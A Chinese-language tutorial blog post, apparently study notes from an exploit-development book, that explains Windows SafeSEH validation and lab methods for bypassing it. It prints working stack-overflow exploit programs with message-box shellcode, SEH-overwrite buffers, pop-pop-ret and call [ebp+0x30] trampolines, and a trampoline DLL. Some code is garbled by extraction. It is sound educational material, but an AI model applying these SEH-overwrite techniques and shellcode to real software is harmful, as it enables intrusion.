SafeSEH 对异常处理的保护原理

在 Windows XP sp2 以及之后的版本中,微软引入了 S.E.H 校验机制 SafeSEH。SafeSEH 需要 OS 和 Compiler 的双重支持,二者缺一都会降低保护能力。通过启用 /SafeSEH 链接选项可心使编译好的程序具备 SafeSEH 功能(VS2003 及后续版本默认启用)。该选项会将所有异常处理函数地址提取出来,编入 SEH 表中,并将这张表放到程序的映像里。异常调用时,就与这张预先存好的表中的地址进行校验。

VS 的 Visual Studio 200* Command Prompt 中,使用 dumpbin /loadconfig *.exe 命令可以查看 SEH 表:

 Microsoft (R) COFF/PE Dumper Version 9.00.30729.01
Copyright (C) Microsoft Corporation. All rights reserved. Dump of file gs.exe File Type: EXECUTABLE IMAGE Section contains the following load config: size
time date stamp
0.00 Version
GlobalFlags Clear
GlobalFlags Set
Critical Section Default Timeout
Decommit Free Block Threshold
Decommit Total Free Threshold
Lock Prefix Table
Maximum Allocation Size
Virtual Memory Threshold
Process Heap Flags
Process Affinity Mask
CSD Version
Reserved
Edit list
Security Cookie
004021C0 Safe Exception Handler Table
Safe Exception Handler Count Safe Exception Handler Table Address
--------
004017F5 __except_handler4 Summary .data
.rdata
.reloc
.rsrc
.text

SafeSEH 机制从 RtlDispatchException() 开始:

. 如果异常处理链不在当前程序的栈中,则终止异常处理调用。
. 如果异常处理函数的指针指向当前程序的栈中,则终止异常处理调用。
. 在前两项检查都通过后,调用 RtlIsValidHandler() 进行异常处理有效性检查。

Alex 在 08 年的 Black Hat 大会上披露了 RtlIsValidHandler() 的细节:

 BOOL RtlIsValidHandler( handler )
{
if (handler is in the loaded image) // 在加载模块的内存空间内
{
if (image has set the IMAGE_DLLCHARACTERISTICS_NO_SEH flag)
return FALSE; // 程序设置了忽略异常处理
if (image has a SafeSEH table) // 含有 SafeSEH 表说明程序启用了 SafeSEH
if (handler found in the table) // 异常处理函数地址在表中
return TRUE;
else
return FALSE;
if (image is a .NET assembly with the ILonly flag set)
return FALSE; // 包含 IL 标志的 .NET 中间语言程序
} if (handler is on non-executable page) // 在不可执行页上
{
if (ExecuteDispatchEnable bit set in the process flags)
return TRUE; // DEP 关闭
else
raise ACCESS_VIOLATION; // 访问违例异常
} if (handler is not in an image) // 在可执行页上,但在加载模块之外
{
if (ImageDispatchEnable bit set in the process flags)
return TRUE; // 允许加载模块内存空间外执行
else
return FALSE;
}
return TRUE; // 允许执行异常处理函数
}

由此可见,SafeSEH 对 S.E.H 的保护已经很完善了,能有效降低通过攻击 S.E.H 异常处理函数指针而获得控制权的可能性。RtlIsValidHandler() 函数只有在以下三种情况下都会允许异常处理函数的执行:

. 异常处理函数指针位于加载模块内存范围外,并且 DEP 关闭
. 异常处理函数指针位于加载模块内存范围内,相应模块未启用 SafeSEH 且不是纯 IL // 注意,若上述伪代码的第 13 行未执行则会执行第 31 行
. 异常处理函数指针位于加载模块内存范围内,相应模块启用 SafeSEH 且函数地址在 SEH 表中

针对以上三种可能性:

1. 若 DEP 关闭,则只要在当前模块的内存范围之外找一个跳板,就能转入 shellcode 执行

2. 第二种情况,可以在加载模块中找一个没有启用 SafeSEH 的模块,用这个未启用 SafeSEH 模块里的指令作为跳板,转入 shellcode 执行。(所以说 SafeSEH 需要 OS 与 Compiler 的双重支持)

3. 可以考虑清空 SafeSEH 表以欺骗 OS,或者将自己的函数地址注入到 SEH 表中。但因为 SEH 表的信息在内存中是加密的,破坏它很难,故放弃。

SEH 有一个缺陷:如果 SEH 中的异常函数指针指向堆区,那即使 SEH 校验发现异常处理函数不可信,仍然会调用这个不可信的异常处理函数!所以只要将 shellcode 布置在堆区就能直接跳转执行!!

另外,攻击返回地址或者虚函数也可以直接绕过 SafeSEH;

绕过 SafeSEH

方法一:覆盖函数返回地址。若攻击对象启用了 SafeSEH 但是 没有启用 GS 或者存在未受 GS 保护的函数,则可用这个方法。

方法二:攻击虚函数表来绕过 SafeSEH。

方法三:将 shellcode 部署在堆中以绕过 SafeSEH。

方法三:利用未启用 SafeSEH 的模块绕过 SafeSEH。(针对上述的 RtlIsValidHandler() 函数的第二种放行可能)

方法四:DEP 关闭时,可以利用加载模块之外的指令作为跳板(见后文示例)。

利用未启用 SafeSEH 的模块绕过 SafeSEH

思路是:在没有启用 SafeSEH 并且不是纯 IL 的模块中寻找跳板,利用跳板绕过 SafeSEH。

以下是实验构建的无 SafeSEH 保护的模块,用来做跳板用:

 // Windows XP Sp3 & VC++6.0
// Project : Win32 Dynamic-Link Library ( not MFC Dll ) - Simple DLL Project
// Project Settings : Link - Project Option - /base:"0x111120000" ( avoid null-char when trampolining )
// Compile : SEH_NOSafeSEH_JUMP.DLL
//
// SEH_NoSafeSEH_JUMP.cpp : Defines the entry point for the DLL application.
// #include "stdafx.h" BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
return TRUE;
} void jump()
{
__asm {
pop eax
pop eax
retn
}
}

这个实验中需要用到一个 OllyDbg 的插件:OllySSEH,下载地址:http://www.openrce.org/downloads/details/244/OllySSEH%20target=

OllyDbg 加载以上代码编译出的 DLL 文件,使用 OllySSEH 查看 SafeSEH 情况可以发现此 DLL 无 SafeSEH 保护。(但自己写进去的 pop eax, pop eax, retn 没有找到,却在 0x111211B6 处找到了一个 pop,pop,retn 的指令序列,先不管了,直接用)

将以上代码加入一个 VC++ 6.0 的 Simple DLL Project 中,并按要求设置好链接参数后,可以编译出适合作为跳板的关闭 SafeSEH 的 DLL 文件。将这个 DLL 放置在以下代码形成的 exe 同级目录中,就可以完成弹窗实验:

 // safeseh.cpp
//
// Env: Windows XP sp3 (turn off DEP in boot.ini) with VS 2008 (Optimization Disabled)
// Build Version : Release
#include "stdafx.h"
#include <string.h>
#include <windows.h> char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xEB\x0E\x90\x90\xB6\x11\x12\x11" // SEH Pointer & Handler
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8" // 168 字节的弹窗 shellcode
; DWORD MyException(void)
{
printf("call MyException()");
getchar();
return ;
} void test(char * input)
{
char str[];
strcpy(str,input); int zero=;
__try
{
zero/=zero;
}
__except (MyException())
{
}
} int main(int argc, _TCHAR* argv[])
{
HINSTANCE hInst = LoadLibrary(_T("SEH_NoSafeSEH_JUMP.dll"));
printf("hInst : %d\n",hInst);
char str[];
//__asm int 3
test(shellcode);
return ;
}

实验中使用 pop pop retn 作为跳板,所以 shellcode 需要放置在 SEH Handler 的后面,因为触发异常后,执行异常处理过程中栈帧 esp+8 的位置会保存 next SEH handler 的地址。

书中提到一个需要注意的细节:VS2008 编译的程序,在进入 __try {} __except{} 指令块时,会在 Security Cookie + 4 的位置压入状态值 -2(VC++6.0 下为 -1),进入 __try 区域时程序会根据该 __try 块在函数中的位置而将这个状态值修改成不同的值。若函数中有两个 __try 块,则进入第一个 __try 块时这个值会被修改为 0,进入第二个 __try 块时被修改为 1。如果在 __try 中出现异常,程序会依据这个值来决定调用哪个异常处理函数,处理结束后这个值又会被修改回 -2。如果没有发生异常,则在离开 __try 块时这个值会被重新修改为 -2。这个值在异常处理过程中还有其他用途,以后可以跟踪。Security Cookie 紧跟在 SEH 后,所以这个值位于 SEH + 8 的位置(注意 SEH 本身会占用 8 字节的空间),由此可知,异常触发后,因为是进入函数中的第一个也是唯一一个 __try 块,所以 SEH + 8 的内存会被修改为 0。为了避免 shellcode 受此影响,SEH 之后并不直接写入 shellcode,而是用 8 字节的数据填充(见上述代码第 25 行)——前 4 字节覆盖了 Security Cookie,后 4 字节覆盖前面提到的 __try 块的状态值。

异常触发后,在执行异常处理函数时,会压入一个新的栈帧,在这个新的栈帧中,esp + 8 的位置存储了 next SEH,即转入当前异常处理函数时的那个 SEH,也即是在异常触发前最顶层的那个被覆盖了的 SEH。由此,pop pop retn 后,会执行代码第 24 行用来覆盖 SEH 的代码。原本可用 8 个 nop 填充 SEH,但我自己实验时发现,被修改为 0 的 __try 状态值会使程序无法正常执行,所以要跳过 __try 块的状态值。这里使用书中提供的方法,即在 pop pop retn 后直接使用短跳指令 0xEB : JMP short Jb - 机器码为 0xEB 0x0E,向前跳 0x0E 个字节(见代码第 24 行)。

利用加载模块之外的指令作为跳板

 // safe_seh.cpp
//
// Env: Windows XP sp3 (turn off DEP in boot.ini) with VS 2008 (Optimization Disabled)
// Build Version : Release
#include "stdafx.h"
#include <string.h>
#include <windows.h>
char shellcode[]= // 216 bytes to next seh
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8" // 168 bytes shellcode
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90" // 40 bytes nops
"\xE9\x2B\xFF\xFF\xFF\x90\x90\x90" // far jump and nops : jmp -213
"\xEB\xF6\x90\x90" // short jump and nops
"\x0B\x0B\x28\x00" // addr of trampolining : call [ebp+0x30]
; DWORD MyException(void)
{
printf("exception caught.");
getchar();
return ;
} void test(char* input)
{
char str[];
strcpy(str,input);
int zero=;
__try{
zero=/zero;
}
__except(MyException())
{
}
} int _tmain(int argc, _TCHAR* argv[])
{
test(shellcode);
return ;
}

shellcode 准备完备之前,先用 OllyDbg Plugin : OllyFindAddr - Overflow Return Address - Find CALL/JMP [EBP+N] 来寻找可以使用的跳板,操作完成后,打开 OllyDbg 的 Log,并与 OllyDbg Plugin : SafeSEH 的结果对比(SafeSEH 结果中 SafeSEH ON 的模块均有 SafeSEH 保护),在非加载模块(EXE/DLL)的地方(Module : Unknow)找到一条很好的跳板:0x00280B0B : call [ebp+0x30]。(参照书中的引导,完成 shellcode 之后,经调试发现异常处理函数调用时, ebp + 0x30 处存放的是 next SEH struct,即代码中的第 24 行)

跳板地址含有 0x00,所以 shellcode 只能放置在 SEH structure 之前,这里又用到了上一个实验中使用的 jmp 向前跳的方法,而且还用了两次:第一次向前跳 10 字节(第 24 行,向前跳以 jmp 指令的下一条指令地址为基址,所以此处向前跳 8 个字节,但指令为 jmp -10,因为 jmp -10 本身占用 2 个字节),第二次向前跳 215 字节,用的是长跳指令 0xE9 : JMP near Jz

IE 中利用未启用 SafeSEH 的模块绕过 SafeSEH 保护

书中使用 Flash Player 9.0.124(最后一个不支持 SafeSEH 的 FlashPlayer 版本)和自定义的含溢出漏洞的 COM 组件进行实验,踏板地址选择 Flash Player 组件中的 call [ebp+0xc] 所在的地址。我跟了一下,[ebp+0xc] 和 [ebp+0x30] 都指向 next SEH structure

最新文章

  1. android 网络加载图片,对图片资源进行优化,并且实现内存双缓存 + 磁盘缓存
  2. Tortoise SVN 版本控制常用操作汇总(show log)
  3. js 连续赋值。。理解不了,先占坑
  4. JS学习笔记--轮播图效果
  5. 一款新的PYTHON数据科学利器:yhat
  6. 关于json的理解
  7. Initializing a Build Environment
  8. C++实现建立和一二进制树的三个递归遍历
  9. 从头开始-03.C语言中数据类型
  10. 利用路由器搭建受限wifi热点,气死蹭网的坏人~
  11. 收藏的Android很好用的组件或者框架。
  12. xWorks下的硬盘启动方法
  13. Python菜鸟快乐游戏编程_pygame(5)
  14. [蓝桥杯]PREV-15.历届试题_格子刷油漆
  15. 菜鸟的java代码审计之旅-0之java基础知识
  16. object oriented programming : class application
  17. error: each element of &#39;ext_modules&#39; option must be an Extension instance or 2-tuple
  18. JDBC数据类型、Java数据类型、标准sql类型
  19. 再谈Lasso回归 | elastic net | Ridge Regression
  20. OpenVZ管理

热门文章

  1. 数据结构 --- 线性表学习(php模拟)
  2. phalcon的一些中文手册和帮助文档地址收集
  3. Ppthon基础学习之Dict
  4. Powerpoin怎么制作电子相册|PPT制作电子相册教程
  5. JS之路——Math数学对象
  6. Scut 进阶:EntityChangeEvent
  7. windows10 预览版 中英文官方下载地址+激活密钥+网盘分享
  8. linq 的Distinct 扩展方法.
  9. N个元素的集合划分成互斥的两个子集的数目
  10. 【HDOJ】1561 The more, The Better